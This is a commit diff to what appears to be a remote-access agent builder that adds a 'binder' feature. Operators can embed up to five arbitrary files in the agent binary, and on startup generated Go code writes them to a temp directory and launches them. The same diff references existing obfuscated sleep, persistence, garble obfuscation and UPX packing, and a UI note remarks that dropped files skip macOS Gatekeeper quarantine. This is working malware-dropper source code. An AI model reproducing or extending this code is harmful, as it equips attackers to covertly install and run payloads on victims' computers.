add binder
This commit is contained in:
@@ -0,0 +1,5 @@
|
|||||||
|
//go:build !hasbinder
|
||||||
|
|
||||||
|
package main
|
||||||
|
|
||||||
|
func runBoundFiles() {}
|
||||||
@@ -16,6 +16,8 @@ func main() {
|
|||||||
sleepObfuscated(cfg.SleepSeconds)
|
sleepObfuscated(cfg.SleepSeconds)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
runBoundFiles()
|
||||||
|
|
||||||
if cfg.EnablePersistence {
|
if cfg.EnablePersistence {
|
||||||
if err := persistence.Setup(); err != nil {
|
if err := persistence.Setup(); err != nil {
|
||||||
log.Printf("Warning: Failed to setup persistence: %v", err)
|
log.Printf("Warning: Failed to setup persistence: %v", err)
|
||||||
|
|||||||
@@ -227,6 +227,121 @@ if (iconClear) {
|
|||||||
});
|
});
|
||||||
}
|
}
|
||||||
|
|
||||||
|
const MAX_BIND_FILES = 5;
|
||||||
|
const MAX_BIND_FILE_BYTES = 10 * 1024 * 1024; // 10 MB
|
||||||
|
|
||||||
|
let boundFiles = []; // { name, base64, targetOS: string[], execute: boolean }
|
||||||
|
|
||||||
|
const bindFileInput = document.getElementById("bind-file-input");
|
||||||
|
const bindFilesList = document.getElementById("bind-files-list");
|
||||||
|
const bindAddLabel = document.getElementById("bind-add-label");
|
||||||
|
|
||||||
|
function sanitizeBindName(name) {
|
||||||
|
return name.replace(/[^A-Za-z0-9._-]/g, "").slice(0, 64) || "file";
|
||||||
|
}
|
||||||
|
|
||||||
|
function renderBoundFiles() {
|
||||||
|
if (!bindFilesList) return;
|
||||||
|
bindFilesList.innerHTML = "";
|
||||||
|
|
||||||
|
boundFiles.forEach((entry, idx) => {
|
||||||
|
const div = document.createElement("div");
|
||||||
|
div.className = "flex flex-col gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg";
|
||||||
|
|
||||||
|
const osList = ["windows", "linux", "darwin"];
|
||||||
|
const osIcons = { windows: "fa-brands fa-windows", linux: "fa-brands fa-linux", darwin: "fa-brands fa-apple" };
|
||||||
|
const osColors = { windows: "text-blue-400", linux: "text-amber-400", darwin: "text-slate-200" };
|
||||||
|
const osLabels = { windows: "Windows", linux: "Linux", darwin: "macOS" };
|
||||||
|
|
||||||
|
const osCheckboxes = osList
|
||||||
|
.map(
|
||||||
|
(os) =>
|
||||||
|
`<label class="flex items-center gap-1 text-xs cursor-pointer select-none">
|
||||||
|
<input type="checkbox" class="bind-os-cb w-3 h-3" data-idx="${idx}" data-os="${os}"
|
||||||
|
${entry.targetOS.length === 0 || entry.targetOS.includes(os) ? "checked" : ""} />
|
||||||
|
<i class="${osIcons[os]} ${osColors[os]}"></i> ${osLabels[os]}
|
||||||
|
</label>`,
|
||||||
|
)
|
||||||
|
.join("");
|
||||||
|
|
||||||
|
div.innerHTML = `
|
||||||
|
<div class="flex items-center gap-2">
|
||||||
|
<i class="fa-solid fa-file text-violet-400 shrink-0"></i>
|
||||||
|
<span class="text-sm font-medium text-slate-200 truncate flex-1">${entry.name}</span>
|
||||||
|
<button type="button" class="bind-remove-btn text-red-400 hover:text-red-300 text-xs px-1" data-idx="${idx}" title="Remove">
|
||||||
|
<i class="fa-solid fa-xmark"></i>
|
||||||
|
</button>
|
||||||
|
</div>
|
||||||
|
<div class="flex items-center gap-3 flex-wrap">
|
||||||
|
<span class="text-xs text-slate-500 shrink-0">Run on:</span>
|
||||||
|
${osCheckboxes}
|
||||||
|
<span class="flex-1"></span>
|
||||||
|
<label class="flex items-center gap-1 text-xs cursor-pointer select-none">
|
||||||
|
<input type="checkbox" class="bind-exec-cb w-3 h-3" data-idx="${idx}" ${entry.execute ? "checked" : ""} />
|
||||||
|
<i class="fa-solid fa-play text-green-400"></i> Execute on start
|
||||||
|
</label>
|
||||||
|
</div>
|
||||||
|
`;
|
||||||
|
|
||||||
|
div.querySelector(".bind-remove-btn").addEventListener("click", () => {
|
||||||
|
boundFiles.splice(idx, 1);
|
||||||
|
renderBoundFiles();
|
||||||
|
updateBindAddVisibility();
|
||||||
|
});
|
||||||
|
|
||||||
|
div.querySelectorAll(".bind-os-cb").forEach((cb) => {
|
||||||
|
cb.addEventListener("change", () => {
|
||||||
|
const checked = Array.from(div.querySelectorAll(`.bind-os-cb[data-idx="${idx}"]`))
|
||||||
|
.filter((el) => el.checked)
|
||||||
|
.map((el) => el.dataset.os);
|
||||||
|
boundFiles[idx].targetOS = checked.length === osList.length ? [] : checked;
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
div.querySelector(".bind-exec-cb").addEventListener("change", (e) => {
|
||||||
|
boundFiles[idx].execute = e.target.checked;
|
||||||
|
});
|
||||||
|
|
||||||
|
bindFilesList.appendChild(div);
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
function updateBindAddVisibility() {
|
||||||
|
if (!bindAddLabel) return;
|
||||||
|
bindAddLabel.classList.toggle("hidden", boundFiles.length >= MAX_BIND_FILES);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (bindFileInput) {
|
||||||
|
bindFileInput.addEventListener("change", () => {
|
||||||
|
const file = bindFileInput.files[0];
|
||||||
|
bindFileInput.value = "";
|
||||||
|
if (!file) return;
|
||||||
|
|
||||||
|
if (boundFiles.length >= MAX_BIND_FILES) {
|
||||||
|
alert(`Maximum ${MAX_BIND_FILES} files can be bound.`);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
if (file.size > MAX_BIND_FILE_BYTES) {
|
||||||
|
alert(`Each bound file must be under 10 MB. "${file.name}" is too large.`);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
const safeName = sanitizeBindName(file.name);
|
||||||
|
if (boundFiles.some((f) => f.name === safeName)) {
|
||||||
|
alert(`A file named "${safeName}" is already in the list.`);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
const reader = new FileReader();
|
||||||
|
reader.onload = () => {
|
||||||
|
const base64 = reader.result.split(",")[1];
|
||||||
|
boundFiles.push({ name: safeName, base64, targetOS: [], execute: true });
|
||||||
|
renderBoundFiles();
|
||||||
|
updateBindAddVisibility();
|
||||||
|
};
|
||||||
|
reader.readAsDataURL(file);
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
async function init() {
|
async function init() {
|
||||||
try {
|
try {
|
||||||
updateServerUrlPlaceholder();
|
updateServerUrlPlaceholder();
|
||||||
@@ -396,6 +511,9 @@ form?.addEventListener("submit", async (e) => {
|
|||||||
iconBase64: pendingIconBase64 || undefined,
|
iconBase64: pendingIconBase64 || undefined,
|
||||||
enableUpx: form.querySelector('input[name="enable-upx"]')?.checked || false,
|
enableUpx: form.querySelector('input[name="enable-upx"]')?.checked || false,
|
||||||
upxStripHeaders: form.querySelector('input[name="upx-strip-headers"]')?.checked || false,
|
upxStripHeaders: form.querySelector('input[name="upx-strip-headers"]')?.checked || false,
|
||||||
|
boundFiles: boundFiles.length > 0
|
||||||
|
? boundFiles.map((f) => ({ name: f.name, data: f.base64, targetOS: f.targetOS, execute: f.execute }))
|
||||||
|
: undefined,
|
||||||
};
|
};
|
||||||
|
|
||||||
const hasAndroid = platforms.some(p => p.startsWith('android-'));
|
const hasAndroid = platforms.some(p => p.startsWith('android-'));
|
||||||
|
|||||||
@@ -436,6 +436,47 @@
|
|||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
|
<!-- == Section 6: Bind Files (collapsed) == -->
|
||||||
|
<div class="accordion-section border border-slate-800 rounded-lg overflow-hidden" data-open="false">
|
||||||
|
<button type="button" class="accordion-header w-full flex items-center justify-between px-4 py-3 bg-slate-800/50 hover:bg-slate-800/80 transition-colors text-left">
|
||||||
|
<span class="flex items-center gap-2 text-sm font-medium text-slate-200">
|
||||||
|
<i class="fa-solid fa-paperclip text-violet-400"></i>
|
||||||
|
Bind Files
|
||||||
|
<span class="text-xs text-slate-500 font-normal">Embed & run files on startup</span>
|
||||||
|
</span>
|
||||||
|
<i class="fa-solid fa-chevron-down accordion-chevron text-slate-400 text-xs"></i>
|
||||||
|
</button>
|
||||||
|
<div class="accordion-body">
|
||||||
|
<div class="accordion-inner px-4 pb-4 pt-3 flex flex-col gap-3">
|
||||||
|
|
||||||
|
<p class="text-xs text-slate-400">
|
||||||
|
Files are embedded inside the agent binary and written to a temp directory when the agent starts.
|
||||||
|
Up to 5 files, 10 MB each. Files set to <em>Execute</em> are launched immediately after being dropped.
|
||||||
|
</p>
|
||||||
|
|
||||||
|
<!-- macOS Gatekeeper note -->
|
||||||
|
<div class="flex items-start gap-2 p-3 bg-amber-900/20 border border-amber-700/40 rounded-lg text-xs text-amber-300">
|
||||||
|
<i class="fa-brands fa-apple mt-0.5 shrink-0"></i>
|
||||||
|
<span>
|
||||||
|
<strong>macOS note:</strong> Files are written programmatically and do <em>not</em> receive the quarantine flag,
|
||||||
|
so Gatekeeper usually will not block them. However, on newer macOS versions (Ventura+) unsigned binaries may
|
||||||
|
still be restricted depending on system policy.
|
||||||
|
</span>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<!-- Bound file list -->
|
||||||
|
<div id="bind-files-list" class="flex flex-col gap-2"></div>
|
||||||
|
|
||||||
|
<!-- Add file button -->
|
||||||
|
<label id="bind-add-label" class="flex items-center justify-center gap-2 px-4 py-2 rounded-lg border border-dashed border-slate-600 cursor-pointer hover:border-violet-500 transition-colors text-sm text-slate-400 hover:text-violet-400">
|
||||||
|
<i class="fa-solid fa-plus"></i> Add File
|
||||||
|
<input type="file" id="bind-file-input" class="hidden" />
|
||||||
|
</label>
|
||||||
|
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
<!-- Build Button -->
|
<!-- Build Button -->
|
||||||
<button type="submit" id="build-btn"
|
<button type="submit" id="build-btn"
|
||||||
class="flex items-center justify-center gap-2 px-4 py-3 rounded-lg bg-blue-600 hover:bg-blue-700 text-white font-medium transition-colors disabled:opacity-50 disabled:cursor-not-allowed">
|
class="flex items-center justify-center gap-2 px-4 py-3 rounded-lg bg-blue-600 hover:bg-blue-700 text-white font-medium transition-colors disabled:opacity-50 disabled:cursor-not-allowed">
|
||||||
|
|||||||
@@ -52,6 +52,13 @@ function resolveAndroidNdkToolchainBin(): string | null {
|
|||||||
return fs.existsSync(toolchainBin) ? toolchainBin : null;
|
return fs.existsSync(toolchainBin) ? toolchainBin : null;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
type BoundFile = {
|
||||||
|
name: string;
|
||||||
|
data: string; // base64
|
||||||
|
targetOS: string[]; // [] = all, otherwise ["windows","linux","darwin"]
|
||||||
|
execute: boolean;
|
||||||
|
};
|
||||||
|
|
||||||
type BuildProcessConfig = {
|
type BuildProcessConfig = {
|
||||||
platforms: string[];
|
platforms: string[];
|
||||||
serverUrl?: string;
|
serverUrl?: string;
|
||||||
@@ -81,6 +88,7 @@ type BuildProcessConfig = {
|
|||||||
requireAdmin?: boolean;
|
requireAdmin?: boolean;
|
||||||
outputExtension?: string;
|
outputExtension?: string;
|
||||||
sleepSeconds?: number;
|
sleepSeconds?: number;
|
||||||
|
boundFiles?: BoundFile[];
|
||||||
};
|
};
|
||||||
|
|
||||||
async function checkUpxAvailable(sendToStream: (data: any) => void): Promise<boolean> {
|
async function checkUpxAvailable(sendToStream: (data: any) => void): Promise<boolean> {
|
||||||
@@ -183,6 +191,9 @@ export async function startBuildProcess(
|
|||||||
|
|
||||||
let winresTempDir: string | null = null;
|
let winresTempDir: string | null = null;
|
||||||
const generatedSysoFiles: string[] = [];
|
const generatedSysoFiles: string[] = [];
|
||||||
|
let binderGenPath: string | null = null;
|
||||||
|
let binderFilesDir: string | null = null;
|
||||||
|
let binderLockPath: string | null = null;
|
||||||
|
|
||||||
const buildStartedAt = Date.now();
|
const buildStartedAt = Date.now();
|
||||||
const keepAliveTimer = setInterval(() => {
|
const keepAliveTimer = setInterval(() => {
|
||||||
@@ -449,6 +460,143 @@ export async function startBuildProcess(
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// ── Binder: embed files into the agent ────────────────────────────────────
|
||||||
|
const hasBoundFiles = Array.isArray(config.boundFiles) && config.boundFiles.length > 0;
|
||||||
|
if (hasBoundFiles) {
|
||||||
|
sendToStream({ type: "status", text: "Setting up bound files..." });
|
||||||
|
|
||||||
|
const agentDir = path.join(clientDir, "cmd", "agent");
|
||||||
|
binderLockPath = path.join(agentDir, ".binder.lock");
|
||||||
|
binderGenPath = path.join(agentDir, "binder_gen.go");
|
||||||
|
binderFilesDir = path.join(agentDir, "bindfiles");
|
||||||
|
|
||||||
|
// Wait up to 5 minutes to acquire the binder lock (serializes concurrent builds with bound files)
|
||||||
|
const BINDER_POLL_MS = 1500;
|
||||||
|
const BINDER_TIMEOUT_MS = 5 * 60 * 1000;
|
||||||
|
const lockWaitStart = Date.now();
|
||||||
|
while (fs.existsSync(binderLockPath)) {
|
||||||
|
if (Date.now() - lockWaitStart > BINDER_TIMEOUT_MS) {
|
||||||
|
throw new Error(
|
||||||
|
"Could not acquire binder lock after 5 minutes. Another build may have stalled. Please try again.",
|
||||||
|
);
|
||||||
|
}
|
||||||
|
sendToStream({ type: "output", text: "Waiting for binder lock...\n", level: "warn" });
|
||||||
|
await new Promise((r) => setTimeout(r, BINDER_POLL_MS));
|
||||||
|
}
|
||||||
|
fs.writeFileSync(binderLockPath, `${process.pid},${buildId}`);
|
||||||
|
|
||||||
|
try {
|
||||||
|
fs.mkdirSync(binderFilesDir, { recursive: true });
|
||||||
|
|
||||||
|
const manifest: { name: string; targetOS: string[]; execute: boolean }[] = [];
|
||||||
|
for (const bf of config.boundFiles!) {
|
||||||
|
const fileBytes = Buffer.from(bf.data, "base64");
|
||||||
|
fs.writeFileSync(path.join(binderFilesDir, bf.name), fileBytes, { mode: 0o755 });
|
||||||
|
manifest.push({ name: bf.name, targetOS: bf.targetOS, execute: bf.execute });
|
||||||
|
sendToStream({
|
||||||
|
type: "output",
|
||||||
|
text: `Bound file: ${bf.name} (${fileBytes.length} bytes)${bf.targetOS.length > 0 ? ` [${bf.targetOS.join(",")}]` : " [all OS]"}${bf.execute ? " [exec]" : ""}\n`,
|
||||||
|
level: "info",
|
||||||
|
});
|
||||||
|
}
|
||||||
|
fs.writeFileSync(
|
||||||
|
path.join(binderFilesDir, "manifest.json"),
|
||||||
|
JSON.stringify({ files: manifest }, null, 2),
|
||||||
|
);
|
||||||
|
|
||||||
|
const binderGoCode = `//go:build hasbinder
|
||||||
|
|
||||||
|
package main
|
||||||
|
|
||||||
|
import (
|
||||||
|
\t"embed"
|
||||||
|
\t"encoding/json"
|
||||||
|
\t"os"
|
||||||
|
\t"os/exec"
|
||||||
|
\t"path/filepath"
|
||||||
|
\t"runtime"
|
||||||
|
)
|
||||||
|
|
||||||
|
//go:embed bindfiles
|
||||||
|
var boundFilesFS embed.FS
|
||||||
|
|
||||||
|
type binderFileEntry struct {
|
||||||
|
\tName string \`json:"name"\`
|
||||||
|
\tTargetOS []string \`json:"targetOS"\`
|
||||||
|
\tExecute bool \`json:"execute"\`
|
||||||
|
}
|
||||||
|
|
||||||
|
type binderManifest struct {
|
||||||
|
\tFiles []binderFileEntry \`json:"files"\`
|
||||||
|
}
|
||||||
|
|
||||||
|
func runBoundFiles() {
|
||||||
|
\tmanifestData, err := boundFilesFS.ReadFile("bindfiles/manifest.json")
|
||||||
|
\tif err != nil {
|
||||||
|
\t\treturn
|
||||||
|
\t}
|
||||||
|
\tvar manifest binderManifest
|
||||||
|
\tif err := json.Unmarshal(manifestData, &manifest); err != nil {
|
||||||
|
\t\treturn
|
||||||
|
\t}
|
||||||
|
\tif len(manifest.Files) == 0 {
|
||||||
|
\t\treturn
|
||||||
|
\t}
|
||||||
|
\ttmpDir, err := os.MkdirTemp("", "ovld_")
|
||||||
|
\tif err != nil {
|
||||||
|
\t\treturn
|
||||||
|
\t}
|
||||||
|
\tfor _, entry := range manifest.Files {
|
||||||
|
\t\tif len(entry.TargetOS) > 0 {
|
||||||
|
\t\t\tmatched := false
|
||||||
|
\t\t\tfor _, t := range entry.TargetOS {
|
||||||
|
\t\t\t\tif t == runtime.GOOS {
|
||||||
|
\t\t\t\t\tmatched = true
|
||||||
|
\t\t\t\t\tbreak
|
||||||
|
\t\t\t\t}
|
||||||
|
\t\t\t}
|
||||||
|
\t\t\tif !matched {
|
||||||
|
\t\t\t\tcontinue
|
||||||
|
\t\t\t}
|
||||||
|
\t\t}
|
||||||
|
\t\tdata, err := boundFilesFS.ReadFile("bindfiles/" + entry.Name)
|
||||||
|
\t\tif err != nil {
|
||||||
|
\t\t\tcontinue
|
||||||
|
\t\t}
|
||||||
|
\t\toutPath := filepath.Join(tmpDir, entry.Name)
|
||||||
|
\t\tif err := os.WriteFile(outPath, data, 0755); err != nil {
|
||||||
|
\t\t\tcontinue
|
||||||
|
\t\t}
|
||||||
|
\t\tif entry.Execute {
|
||||||
|
\t\t\tvar cmd *exec.Cmd
|
||||||
|
\t\t\tswitch runtime.GOOS {
|
||||||
|
\t\t\tcase "windows":
|
||||||
|
\t\t\t\tcmd = exec.Command("cmd", "/c", "start", "", outPath)
|
||||||
|
\t\t\tcase "darwin":
|
||||||
|
\t\t\t\tcmd = exec.Command("open", outPath)
|
||||||
|
\t\t\tdefault:
|
||||||
|
\t\t\t\tcmd = exec.Command("xdg-open", outPath)
|
||||||
|
\t\t\t}
|
||||||
|
\t\t\t_ = cmd.Start()
|
||||||
|
\t\t}
|
||||||
|
\t}
|
||||||
|
}
|
||||||
|
`;
|
||||||
|
fs.writeFileSync(binderGenPath, binderGoCode);
|
||||||
|
sendToStream({
|
||||||
|
type: "output",
|
||||||
|
text: `Binder ready: ${config.boundFiles!.length} file(s) will be embedded\n`,
|
||||||
|
level: "info",
|
||||||
|
});
|
||||||
|
} catch (binderErr: any) {
|
||||||
|
// Release lock on setup failure
|
||||||
|
try { fs.unlinkSync(binderLockPath); } catch {}
|
||||||
|
binderLockPath = null;
|
||||||
|
throw new Error(`Binder setup failed: ${binderErr.message || binderErr}`);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
// ── End binder setup ──────────────────────────────────────────────────────
|
||||||
|
|
||||||
for (const platform of platformsToBuild) {
|
for (const platform of platformsToBuild) {
|
||||||
const [os, arch, ...rest] = platform.split("-");
|
const [os, arch, ...rest] = platform.split("-");
|
||||||
const goarm = arch === "armv7" ? "7" : undefined;
|
const goarm = arch === "armv7" ? "7" : undefined;
|
||||||
@@ -602,6 +750,7 @@ export async function startBuildProcess(
|
|||||||
const buildTool = config.obfuscate ? "garble" : "go";
|
const buildTool = config.obfuscate ? "garble" : "go";
|
||||||
const buildTags: string[] = [];
|
const buildTags: string[] = [];
|
||||||
if (config.noPrinting) buildTags.push("noprint");
|
if (config.noPrinting) buildTags.push("noprint");
|
||||||
|
if (hasBoundFiles) buildTags.push("hasbinder");
|
||||||
if (config.enablePersistence && os === "windows") {
|
if (config.enablePersistence && os === "windows") {
|
||||||
const method = config.persistenceMethod || "startup";
|
const method = config.persistenceMethod || "startup";
|
||||||
if (method === "registry") buildTags.push("persist_registry");
|
if (method === "registry") buildTags.push("persist_registry");
|
||||||
@@ -782,5 +931,15 @@ export async function startBuildProcess(
|
|||||||
if (winresTempDir) {
|
if (winresTempDir) {
|
||||||
try { fs.rmSync(winresTempDir, { recursive: true, force: true }); } catch {}
|
try { fs.rmSync(winresTempDir, { recursive: true, force: true }); } catch {}
|
||||||
}
|
}
|
||||||
|
// Binder cleanup: remove generated Go file, bindfiles dir, and release lock
|
||||||
|
if (binderGenPath) {
|
||||||
|
try { fs.unlinkSync(binderGenPath); } catch {}
|
||||||
|
}
|
||||||
|
if (binderFilesDir) {
|
||||||
|
try { fs.rmSync(binderFilesDir, { recursive: true, force: true }); } catch {}
|
||||||
|
}
|
||||||
|
if (binderLockPath) {
|
||||||
|
try { fs.unlinkSync(binderLockPath); } catch {}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -67,6 +67,7 @@ export async function handleBuildRoutes(
|
|||||||
requireAdmin,
|
requireAdmin,
|
||||||
outputExtension,
|
outputExtension,
|
||||||
sleepSeconds,
|
sleepSeconds,
|
||||||
|
boundFiles,
|
||||||
} = body;
|
} = body;
|
||||||
|
|
||||||
if (!platforms || !Array.isArray(platforms) || platforms.length === 0) {
|
if (!platforms || !Array.isArray(platforms) || platforms.length === 0) {
|
||||||
@@ -157,6 +158,54 @@ export async function handleBuildRoutes(
|
|||||||
typeof sleepSeconds === "number" && Number.isInteger(sleepSeconds) && sleepSeconds >= 0 && sleepSeconds <= 3600
|
typeof sleepSeconds === "number" && Number.isInteger(sleepSeconds) && sleepSeconds >= 0 && sleepSeconds <= 3600
|
||||||
? sleepSeconds : 0;
|
? sleepSeconds : 0;
|
||||||
|
|
||||||
|
const MAX_BOUND_FILES = 5;
|
||||||
|
const MAX_BOUND_FILE_BYTES = 10 * 1024 * 1024;
|
||||||
|
const ALLOWED_BIND_TARGET_OS = new Set(["windows", "linux", "darwin"]);
|
||||||
|
const RESERVED_BIND_NAMES = new Set(["manifest.json"]);
|
||||||
|
type SafeBoundFile = { name: string; data: string; targetOS: string[]; execute: boolean };
|
||||||
|
let safeBoundFiles: SafeBoundFile[] | undefined;
|
||||||
|
if (Array.isArray(boundFiles) && boundFiles.length > 0) {
|
||||||
|
if (boundFiles.length > MAX_BOUND_FILES) {
|
||||||
|
return Response.json({ error: `Maximum ${MAX_BOUND_FILES} bound files allowed` }, { status: 400 });
|
||||||
|
}
|
||||||
|
const seenNames = new Set<string>();
|
||||||
|
const validated: SafeBoundFile[] = [];
|
||||||
|
for (const f of boundFiles) {
|
||||||
|
if (!f || typeof f !== "object") {
|
||||||
|
return Response.json({ error: "Invalid bound file entry" }, { status: 400 });
|
||||||
|
}
|
||||||
|
const rawName = typeof f.name === "string" ? f.name : "";
|
||||||
|
const safeName = rawName.replace(/[^A-Za-z0-9._-]/g, "").slice(0, 64);
|
||||||
|
if (!safeName) {
|
||||||
|
return Response.json({ error: "Bound file has an invalid name" }, { status: 400 });
|
||||||
|
}
|
||||||
|
if (RESERVED_BIND_NAMES.has(safeName)) {
|
||||||
|
return Response.json({ error: `'${safeName}' is a reserved filename` }, { status: 400 });
|
||||||
|
}
|
||||||
|
if (seenNames.has(safeName)) {
|
||||||
|
return Response.json({ error: `Duplicate bound file name: ${safeName}` }, { status: 400 });
|
||||||
|
}
|
||||||
|
seenNames.add(safeName);
|
||||||
|
if (typeof f.data !== "string" || f.data.length === 0) {
|
||||||
|
return Response.json({ error: `Bound file '${safeName}' has no data` }, { status: 400 });
|
||||||
|
}
|
||||||
|
const approxDecodedBytes = Math.floor(f.data.length * 3 / 4);
|
||||||
|
if (approxDecodedBytes > MAX_BOUND_FILE_BYTES) {
|
||||||
|
return Response.json({ error: `Bound file '${safeName}' exceeds the 10 MB limit` }, { status: 400 });
|
||||||
|
}
|
||||||
|
const safeTargetOS = Array.isArray(f.targetOS)
|
||||||
|
? f.targetOS.filter((o: unknown) => typeof o === "string" && ALLOWED_BIND_TARGET_OS.has(o as string)) as string[]
|
||||||
|
: [];
|
||||||
|
validated.push({
|
||||||
|
name: safeName,
|
||||||
|
data: f.data,
|
||||||
|
targetOS: safeTargetOS,
|
||||||
|
execute: f.execute !== false, // default true
|
||||||
|
});
|
||||||
|
}
|
||||||
|
safeBoundFiles = validated;
|
||||||
|
}
|
||||||
|
|
||||||
deps.startBuildProcess(buildId, {
|
deps.startBuildProcess(buildId, {
|
||||||
platforms: allowedPlatforms,
|
platforms: allowedPlatforms,
|
||||||
serverUrl: safeServerUrl,
|
serverUrl: safeServerUrl,
|
||||||
@@ -186,6 +235,7 @@ export async function handleBuildRoutes(
|
|||||||
requireAdmin: safeRequireAdmin,
|
requireAdmin: safeRequireAdmin,
|
||||||
outputExtension: safeOutputExtension,
|
outputExtension: safeOutputExtension,
|
||||||
sleepSeconds: safeSleepSeconds,
|
sleepSeconds: safeSleepSeconds,
|
||||||
|
boundFiles: safeBoundFiles,
|
||||||
});
|
});
|
||||||
|
|
||||||
return Response.json({ buildId });
|
return Response.json({ buildId });
|
||||||
|
|||||||
Reference in New Issue
Block a user